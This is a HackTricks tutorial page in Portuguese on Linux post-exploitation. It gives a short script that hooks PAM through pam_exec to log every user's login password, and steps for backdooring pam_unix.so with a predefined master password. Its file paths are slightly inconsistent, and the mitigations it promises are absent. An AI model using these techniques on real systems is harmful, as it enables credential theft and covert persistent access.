hacktricks/linux-hardening/linux-post-exploitation
2024-12-14 21:30:33 +00:00
..
pam-pluggable-authentication-modules.md Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00
README.md Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00

Linux Post-Exploitation

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Capturando Senhas de Login com PAM

Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM, confira:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

Para mais detalhes, confira o post original. Este é apenas um resumo:

Visão Geral da Técnica: Módulos de Autenticação Pluggable (PAM) oferecem flexibilidade na gestão de autenticação em sistemas baseados em Unix. Eles podem aumentar a segurança personalizando processos de login, mas também apresentam riscos se mal utilizados. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, juntamente com estratégias de mitigação.

Capturando Credenciais:

  • Um script bash chamado toomanysecrets.sh é criado para registrar tentativas de login, capturando a data, nome de usuário ($PAM_USER), senha (via stdin) e IP do host remoto ($PAM_RHOST) em /var/log/toomanysecrets.log.
  • O script é tornado executável e integrado à configuração do PAM (common-auth) usando o módulo pam_exec.so com opções para rodar silenciosamente e expor o token de autenticação ao script.
  • A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais discretamente.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Para mais detalhes, consulte o post original. Este é apenas um resumo:

O Módulo de Autenticação Pluggable (PAM) é um sistema usado no Linux para autenticação de usuários. Ele opera em três conceitos principais: nome de usuário, senha e serviço. Os arquivos de configuração para cada serviço estão localizados no diretório /etc/pam.d/, onde bibliotecas compartilhadas gerenciam a autenticação.

Objetivo: Modificar o PAM para permitir a autenticação com uma senha específica, contornando a senha real do usuário. Isso é particularmente focado na biblioteca compartilhada pam_unix.so usada pelo arquivo common-auth, que é incluído por quase todos os serviços para verificação de senha.

Passos para Modificar pam_unix.so:

  1. Localizar a Diretiva de Autenticação no arquivo common-auth:
  • A linha responsável por verificar a senha de um usuário chama pam_unix.so.
  1. Modificar o Código Fonte:
  • Adicione uma instrução condicional no arquivo de código fonte pam_unix_auth.c que concede acesso se uma senha predefinida for usada; caso contrário, prossegue com o processo de autenticação usual.
  1. Recompilar e Substituir a biblioteca pam_unix.so modificada no diretório apropriado.
  2. Teste:
  • O acesso é concedido em vários serviços (login, ssh, sudo, su, protetor de tela) com a senha predefinida, enquanto os processos normais de autenticação permanecem inalterados.

{% hint style="info" %} Você pode automatizar esse processo com https://github.com/zephrax/linux-pam-backdoor {% endhint %}

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}